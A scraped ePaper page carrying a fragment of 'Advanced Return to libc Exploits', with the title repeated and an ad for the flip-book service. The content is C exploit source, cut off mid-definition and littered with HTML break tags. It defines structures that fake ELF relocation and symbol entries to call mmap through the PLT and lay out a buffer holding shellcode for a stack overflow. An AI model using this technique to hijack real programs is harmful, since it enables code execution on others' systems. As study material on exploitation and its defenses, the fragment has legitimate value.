Advanced Return to libc Exploits
Advanced Return to libc Exploits
Advanced Return to libc Exploits
Create successful ePaper yourself
Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.
our payload. So, we shift the name by 1 (one 'x').<br />
*/<br />
#define NAME_ADD_OFF 1<br />
char mmap_string[] = "xmmap";<br />
struct two_arg {<br />
unsigned int new_ebp;<br />
unsigned int func;<br />
unsigned int leave_ret;<br />
unsigned int param1;<br />
unsigned int param2;<br />
};<br />
struct mmap_plt_args {<br />
unsigned int new_ebp;<br />
unsigned int put_plt_here;<br />
unsigned int reloc_offset;<br />
unsigned int leave_ret;<br />
unsigned int start;<br />
unsigned int length;<br />
unsigned int prot;<br />
unsigned int flags;<br />
unsigned int fd;<br />
unsigned int offset;<br />
};<br />
struct my_elf_rel {<br />
unsigned int r_offset;<br />
unsigned int r_info;<br />
};<br />
struct my_elf_sym {<br />
unsigned int st_name;<br />
unsigned int st_value;<br />
unsigned int st_size; /* Symbol size */<br />
unsigned char st_info; /* Symbol type and binding */<br />
unsigned char st_other; /* ELF spec say: No defined meaning, 0 */<br />
unsigned short st_shndx; /* Section index */<br />
};<br />
struct ourbuf {<br />
struct two_arg reloc;<br />
struct two_arg zero[8];<br />
struct mmap_plt_args mymmap;<br />
struct two_arg trans;<br />
char hell[sizeof(hellcode)];<br />
struct my_elf_rel r;<br />
struct my_elf_sym sym;<br />
char mmapname[sizeof(mmap_string)];<br />
};<br />
struct ov {<br />
char scratch[24];<br />
unsigned int ebp;